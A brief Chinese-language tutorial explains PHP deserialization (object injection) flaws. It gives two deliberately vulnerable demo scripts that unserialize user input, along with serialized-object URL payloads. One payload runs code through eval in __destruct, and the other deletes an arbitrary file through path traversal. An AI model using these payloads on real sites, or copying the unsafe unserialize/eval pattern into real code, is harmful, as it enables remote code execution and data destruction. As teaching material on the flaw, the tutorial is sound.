漏洞原理
PHP反序列化漏洞也叫PHP對象注入,是一個非常常見的漏洞,這種類型的漏洞雖然有些難以利用,但一旦利用成功就會造成非常危險的後果。
漏洞的形成的根本原因是程序沒有對用戶輸入的反序列化字符串進行檢測,導致反序列化過程可以被惡意控制,進而造成代碼執行、getshell等一系列不可控的後果。反序列化漏洞並不是PHP特有,也存在於Java、Python等語言之中,但其原理基本相通
漏洞形成
將用於反序列化的字符串參數進行修改,達到控制var屬性以注入惡意代碼,再利用魔術函數進行執行
例:
代碼:
<?php
class person{
var $name;var $age;var $sex;
function __construct($name,$age,$sex){
$this->name=$name;
$this->age=$age;
$this->sex=$sex;}
function __destruct()
{
eval($this->sex);
}
}
$ldstr=$_GET['object'];
$fxlld=unserialize("$ldstr");
print_r($fxlld);
Url:
http://localhost/fxlh/3.php?object=O:6:“person”:3:{s:4:“name”;s:2:“lp”;s:3:“age”;s:2:“23”;s:3:“sex”;s:10:“phpinfo();”;}
執行效果
漏洞利用
1.有時在對象銷燬時,程序會設定好刪除一些緩存文件,比如1.tmp,由於反序列化漏洞存在,用戶可控制刪除文件的路徑這一屬性,就會造成任意文件刪除
代碼:
<?php
class person{
var $name;var $age;var $sex;var $tmp="1.tmp";
function __construct($name,$age,$sex){
$this->name=$name;
$this->age=$age;
$this->sex=$sex;}
function __destruct()
{
unlink(dirname(__FILE__)."/".$this->tmp);
}
}
$ldstr=$_GET['object'];
$fxlld=unserialize("$ldstr");
print_r($fxlld);
Url:
http://localhost/fxlh/1.php?object=O:6:“person”:4:{s:4:“name”;s:2:“lp”;s:3:“age”;s:2:“23”;s:3:“sex”;s:3:“man”;s:3:“tmp”;s:8:"…/2.txt";}
執行效果
1.tmp上一級目錄下的2.txt被刪除